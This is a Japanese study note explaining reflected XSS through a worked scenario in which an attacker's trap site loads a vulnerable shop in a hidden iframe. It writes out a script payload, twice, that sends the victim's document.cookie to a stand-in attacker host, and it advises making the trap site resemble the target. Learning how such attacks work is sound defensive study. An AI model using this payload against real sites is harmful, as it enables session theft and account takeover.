Reflected XSS
攻撃用のJSが、攻撃対象サイトとは別サイトにあるXSS
以下の例では、攻撃用JSは、
攻撃対象S上にではなく、
攻撃者の作った罠サイトXS上にあるので、
Reflected XSSという分類になる
具体例
登場人物
攻撃者X
攻撃者の作った罠サイトXS
http://XS.com
攻撃者の作った適当なサイト XS2
http://XS2.com
被害者A
攻撃対象サイトS
http://S.com
前提
Sは例えばECサイト
被害者Aは、Sの利用者
普段からS上でログインして購入などをしている
Sには、脆弱性がある
query parameterをそのままページ上に表示するようなものになっている
例えば、http://S.com?name=hogeにアクセスしたら、「こんにちはhogeさん」と表示されるような感じ
攻撃者Xは、AになりすましてSにログインしたい
そのためにAのcookieを入手したい
攻撃方法
https://gyazo.com/4bab471d472298e057a20c5aa45a0e71
1 攻撃者Xが、罠サイトXSを作る
このXSは何でも良いが、攻撃者目ではSと関連があるようなサイトが望ましい
例えばSを模したサイトだったり、Sについての便利情報解説ブログでも良い
訪問する人がSに関心があるようなサイトの方が攻撃の成功率が高い
訪問者が、Sのcookieを持っていないと意味がない
XSにはiframeで、Sを埋め込んでおく
code:html
<iframe
この際に、Sのquery paramにscriptを仕込んでおく
このiframeはcssで非表示にしておけば気づかれない
2 被害者Aが罠サイトXSに訪問する
3 XS内の、iframeの中で、Sにアクセスされる
要は、Aがhttp://S.com?keyword=<script>window.location='http://XS2.com?sid='%Bdocument.cookie;</script>にアクセスしたことになる
4 アクセスによって、S内で<script>window.location='http://XS2.com?sid='%Bdocument.cookie;</script>がページに埋め込まれ、このscriptが実行される
要は、AがS上で攻撃scriptを実行している
このscriptの意味
window.location='http://XS2.com?..'によって、XS2に遷移する
その際に、AのSのcookieを送信する
これによって、Xの用意したサーバーXS2に、Aのcookieが送られてくる
攻撃完了
つまり、
利用者目線では、AはXSにアクセスした時点でアウト
上の2~4は、XSへのアクセスと同時に実行される
「XSのような怪しいリンクを踏まない」ことしか対策のしようがない #?? 攻撃用のscriptはAのブラウザ上で実行される
だからこれは、XSS
攻撃用のscriptは、S上にはない
だからこれは、Reflected XSS
Aのような被害者を出さないために、Sの作成者が対策をする必要がある
参考
fetchでプライベートのメモの内容を送信する
同じOriginで送信することになるので、Same-Origin Policyに引っかからず、攻撃が成立する、という具体例が載っている